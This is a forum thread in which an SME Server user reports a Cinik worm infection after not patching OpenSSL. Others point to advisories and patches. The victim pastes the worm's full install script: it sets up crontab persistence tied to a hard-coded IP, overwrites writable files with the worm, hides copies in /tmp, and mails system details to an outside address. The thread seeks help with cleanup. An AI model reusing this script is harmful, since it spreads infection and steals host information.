Topic: AAAhhh! Cinik Worm in my SME!

[Lightman]

Hi

I was reading the last 30 days and seems that no one was infected
because apply the patches, I didn't and seems to pay the price

I think that I'm infected with the Cinik Worm , I have in the /TMP
the following nice files:
.cinik.c
.cinik.go
.cinik.uu
.uubugtrak

move them outta there (for reading how it works) but not sure
if this will disable the worm, I think that the executable must be
somewhere else, any idea of where it is, or/and how to disable/remove
it from my SME?.

I realize of the infection due to a mail received in ADMIN pop account
about info sent from my server !!.

thanks in advance.

Leo

[Tony P.]

According to the following articles all you need to do is patch the system. There are no known exploits for this vulnerability.

CERT® Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL
http://www.cert.org/advisories/CA-2002-23.html

CERT® Advisory CA-2002-27 Apache/mod_ssl Worm
http://www.cert.org/advisories/CA-2002-27.html

OpenSSL Security Advisory [30 July 2002]
http://www.openssl.org/news/secadv_20020730.txt

CERT is my #1 spot to check on virus information. Most of the answers are there and you don't have to wait for someone to responed to a posting on a BB system

Tony P.

[Charlie Brady]

Lightman wrote:

> move them outta there (for reading how it works) but not sure
> if this will disable the worm, I think that the executable
> must be
> somewhere else, any idea of where it is, or/and how to
> disable/remove
> it from my SME?.

Instructions can be found at:

http://isc.incidents.org/analysis.html?id=167

and:

http://isc.incidents.org/analysis.html?id=169

Charlie

[Lightman]

Hi Tony.

Thanks a lot for your reply, I read all those links when receive
your mail, but they say how to avoid this to happen, I already
read about how to prevent it, but I can't find how to stop the
worm to work, since the process must be still running but
i don't know how to find it!.

I was reading in what looks like an install script.

well if anyone has some idea of how to find the process and
get rid of it, great!.

i don't understand what will be the var $i ,so it's probably pointing
to the file.

thanks

Leo

---SCRIPT USED BY CINIK variant C to instal itself on the sme---------------

#!/bin/bash

##
##  CiNIK starts here
##

export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH

# ce id am ?

myid=/usr/bin/id | /bin/cut -d\( -f1 | /bin/cut -d= -f2

# punem si intr-un loc default
mkdir -p /tmp/.font-unix/.cinik
cat /tmp/.cinik > /tmp/.font-unix/.cinik/.cinik
chmod a+x /tmp/.font-unix/.cinik/.cinik
echo 1 /bin/date +%H \* \* \* /tmp/.font-unix/.cinik/.cinik 218.223.29.82 \> /dev/null 2\>\&1 | crontab
# ale altora
for i in /usr/bin/find /usr /var /tmp /home /mnt -type f -perm 7 2>/dev/null
do
 cat /tmp/.cinik > $i
 chmod a+x $i
 echo 2 /bin/date +%H \* \* \* $i 218.223.29.82 \> /dev/null 2\>\&1 | crontab
done
 
# directoarele mele
 
for i in /usr/bin/find /usr /var /tmp /home /mnt -type d -uid $myid
do
 cat /tmp/.cinik > $i/.cinik
 chmod a+x $i/.cinik
 echo 3 /bin/date +%H \* \* \* $i/.cinik 218.223.29.82 \> /dev/null 2\>\&1 | crontab
done
 
echo PROC > /tmp/.cinik.status
cat /proc/cpuinfo >> /tmp/.cinik.status
echo MEM >> /tmp/.cinik.status
/usr/bin/free >> /tmp/.cinik.status
echo HDD >> /tmp/.cinik.status
/bin/df -h >> /tmp/.cinik.status
echo IP >> /tmp/.cinik.status
/sbin/ifconfig >> /tmp/.cinik.status
 
myip=/sbin/ifconfig eth0 | head -2 | tail -1 | cut -d: -f2 | cut -d" " -f1
mail cinik_worm@yahoo.com -s "$myip" < /tmp/.cinik.status
rm -f /tmp/.cinik.status

[LucL]

I posted a question here not long ago.  A few hours after I did, I got 'bombed' by OpenSSH attacks.

My suggestion is dont use your server URL in your email address, or dont post here if you have not applied the patches.

Perhaps a warning in the Forum of some kind would also help.

[Tony P.]

I'm glad Charlie posted the links with another fix. The way I interpreted the CERT documents I thought that by upgrading the SSL that the problem would be fixed.

Tony P.

[lightman]

Hi!
First thanks to all of you that provide me with such a good info!

I decide change the server, since I always have an spare server
ready to go on the air
apply the updates available via Blades and then download the
Update 6 as specified in the main page of e-smith & install it.
I'm running vers. 5.0 of SME

is there any other thing to do to prevent this attack to happen again?.

it's necessary to upgrade to the new SSL or the Update 6 already
did that?.

just to avoid this to happens, I lost several hours backing up
all the data and config files and transfering to the backup server,
it reminds me how little I know about linux and how vulnerable
the non-guru's are.

thanks again to all

Leo

[Rich Lafferty]

LucL wrote:
>
> I posted a question here not long ago.  A few hours after I
> did, I got 'bombed' by OpenSSH attacks.

That'd be tremendously inefficient -- I think you've confused correlation
with causality.

I regularly get ssh probes on hosts I've never mentioned here -- the easiest
way for someone to find a vulnerable host is to write a program that checks
everyone in a netblock.

Of course, since my systems are up to date, I don't care that people are
probing.

Cheers,

--Rich